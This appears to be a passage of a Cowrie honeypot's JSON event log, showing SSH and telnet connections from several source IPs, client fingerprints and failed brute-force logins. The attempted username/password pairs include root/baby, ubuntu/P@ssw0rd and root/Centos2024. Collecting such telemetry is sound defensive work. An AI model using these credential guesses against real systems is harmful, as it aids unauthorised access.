{"eventid":"cowrie.session.closed","duration":36.235471963882446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:16.124700Z","src_ip":"192.119.13.58","session":"6410bcf8ae10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:16.832372Z","src_ip":"45.153.34.112","session":"51a533a6e727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9dba3ffeb38","protocol":"telnet","message":"New connection: 192.119.13.58:55630 (10.17.0.5:23) [session: d9dba3ffeb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:18.501915Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":9342,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a857c008152","protocol":"ssh","message":"New connection: 45.66.52.41:9342 (10.17.0.5:22) [session: 7a857c008152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:18.581390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:18.586000Z","src_ip":"45.66.52.41","session":"7a857c008152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:18.759473Z","src_ip":"45.66.52.41","session":"7a857c008152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53932,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f1277b2107b","protocol":"ssh","message":"New connection: 45.153.34.112:53932 (10.17.0.5:22) [session: 4f1277b2107b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:19.089510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:19.094001Z","src_ip":"45.153.34.112","session":"4f1277b2107b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:19.176598Z","src_ip":"45.153.34.112","session":"4f1277b2107b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:19.434386Z","src_ip":"45.153.34.112","session":"4f1277b2107b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:19.513759Z","src_ip":"45.66.52.41","session":"7a857c008152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:20.519525Z","src_ip":"45.153.34.112","session":"4f1277b2107b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:20.693827Z","src_ip":"45.66.52.41","session":"7a857c008152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50146,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b93e5afe1c9","protocol":"ssh","message":"New connection: 45.153.34.112:50146 (10.17.0.5:22) [session: 4b93e5afe1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:22.651381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:22.656456Z","src_ip":"45.153.34.112","session":"4b93e5afe1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:22.739079Z","src_ip":"45.153.34.112","session":"4b93e5afe1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:22.986156Z","src_ip":"45.153.34.112","session":"4b93e5afe1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:24.070901Z","src_ip":"45.153.34.112","session":"4b93e5afe1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e17a4a3eda5","protocol":"telnet","message":"New connection: 192.119.13.58:51244 (10.17.0.5:23) [session: 8e17a4a3eda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:24.736340Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50154,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f1c366894b","protocol":"ssh","message":"New connection: 45.153.34.112:50154 (10.17.0.5:22) [session: 12f1c366894b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:26.290259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:26.311698Z","src_ip":"45.153.34.112","session":"12f1c366894b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:26.376623Z","src_ip":"45.153.34.112","session":"12f1c366894b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:26.694758Z","src_ip":"45.153.34.112","session":"12f1c366894b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:27.977167Z","src_ip":"45.153.34.112","session":"12f1c366894b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.82533383369446,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:28.242666Z","src_ip":"192.119.13.58","session":"c983fabebc46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.98854041099548,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:29.426980Z","src_ip":"192.119.13.58","session":"0743f9ff0815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06ece95bbb9","protocol":"telnet","message":"New connection: 192.119.13.58:42252 (10.17.0.5:23) [session: a06ece95bbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:29.635147Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0025bfc9844","protocol":"ssh","message":"New connection: 45.153.34.112:55182 (10.17.0.5:22) [session: b0025bfc9844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:29.931832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:29.935691Z","src_ip":"45.153.34.112","session":"b0025bfc9844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.107793Z","src_ip":"45.153.34.112","session":"b0025bfc9844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.501743Z","src_ip":"45.153.34.112","session":"b0025bfc9844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":53834,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9230448f297","protocol":"ssh","message":"New connection: 43.130.36.39:53834 (10.17.0.5:22) [session: b9230448f297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.778491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.785231Z","src_ip":"43.130.36.39","session":"b9230448f297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.495423316955566,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.834358Z","src_ip":"192.119.13.58","session":"45fa7ef4fa39","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:30.852906Z","src_ip":"43.130.36.39","session":"b9230448f297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos2024","message":"login attempt [root/Centos2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:31.179415Z","src_ip":"43.130.36.39","session":"b9230448f297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:31.810470Z","src_ip":"45.153.34.112","session":"b0025bfc9844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:32.250849Z","src_ip":"43.130.36.39","session":"b9230448f297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55208,"dst_ip":"10.17.0.5","dst_port":22,"session":"132db4cac994","protocol":"ssh","message":"New connection: 45.153.34.112:55208 (10.17.0.5:22) [session: 132db4cac994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:33.663580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:33.668576Z","src_ip":"45.153.34.112","session":"132db4cac994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:33.751005Z","src_ip":"45.153.34.112","session":"132db4cac994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:34.207972Z","src_ip":"45.153.34.112","session":"132db4cac994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35746,"dst_ip":"10.17.0.5","dst_port":23,"session":"a209c58c817b","protocol":"telnet","message":"New connection: 192.119.13.58:35746 (10.17.0.5:23) [session: a209c58c817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:35.173041Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:35.293165Z","src_ip":"45.153.34.112","session":"132db4cac994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55212,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47ad7382799","protocol":"ssh","message":"New connection: 45.153.34.112:55212 (10.17.0.5:22) [session: b47ad7382799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.221572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.225698Z","src_ip":"45.153.34.112","session":"b47ad7382799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-